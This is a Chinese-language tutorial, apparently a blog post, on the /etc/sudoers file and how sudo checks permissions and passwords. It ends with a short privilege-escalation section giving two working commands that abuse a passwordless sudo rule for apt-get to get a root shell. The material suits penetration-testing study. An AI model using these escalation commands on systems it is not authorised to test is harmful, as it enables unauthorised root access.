/etc/sudoers
/etc/sudoers为sudo配置文件
sudo执行命令的流程
将当前用户切换到超级用户下,或切换到指定的用户下,
然后以超级用户或其指定切换到的用户身份执行命令,执行完成后,直接退回到当前用户。
具体工作过程如下:
当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限
—>确认用户具有可执行sudo的权限后,让用户输入用户自己的密码确认
—>若密码输入成功,则开始执行sudo后续的命令
不需要输入密码的情况
1.root执行sudo时不需要输入密码(eudoers文件中有配置root ALL=(ALL) ALL这样一条规则)
2.欲切换的身份与执行者的身份相同,不需要输入密码
3./etc/sudoers文件设置为允许用户在不输入该用户的密码的情况下使用所有命令
如设置允许wheel用户组中的用户在不输入该用户的密码的情况下使用所有命令
( %wheel ALL=(ALL) NOPASSWD: ALL)
sudo与/etc/sudoers的关系是什么。
当普通用户向其他的用户获取它的权限的时候,其他用户怎么去判断是不是需要给这样的权限给这个普通用户。其中的权限分配体现在给予权限者的/etc/sudoers文件当中。
一个简单的例子,在root用户下的/etc/sudoers文件当中有一条这样的配置信息。
zhang:表示zhang这个用户
ALL=(ALL):第一个ALL表示:所有的主机,第二个ALL所有的用户
NOPASSWD:不需要输入密码就能切换到用户
/usr/bin/bash,/usr/bin/sh :表示能够执行命令
图中的意思是:zhang用户可以在任意主机上不输入密码的情况下以任意用户执行/usr/bin/bash和/usr/bin/sh
提权
apt-get:** apt – get是一个命令行工具,可帮助在Linux中处理软件包并安装新软件包并删除旧软件包。

sudo -l

在sudo -l命令之后,我们看到/ usr / bin / apt在没有密码的情况下以root身份运行.
权限提升
sudo apt-get changelog apt

现在已经提升为root了
权限提升的第二种方式
sudo apt-get update -o APT::update::pre-invoke::=/bin/bash
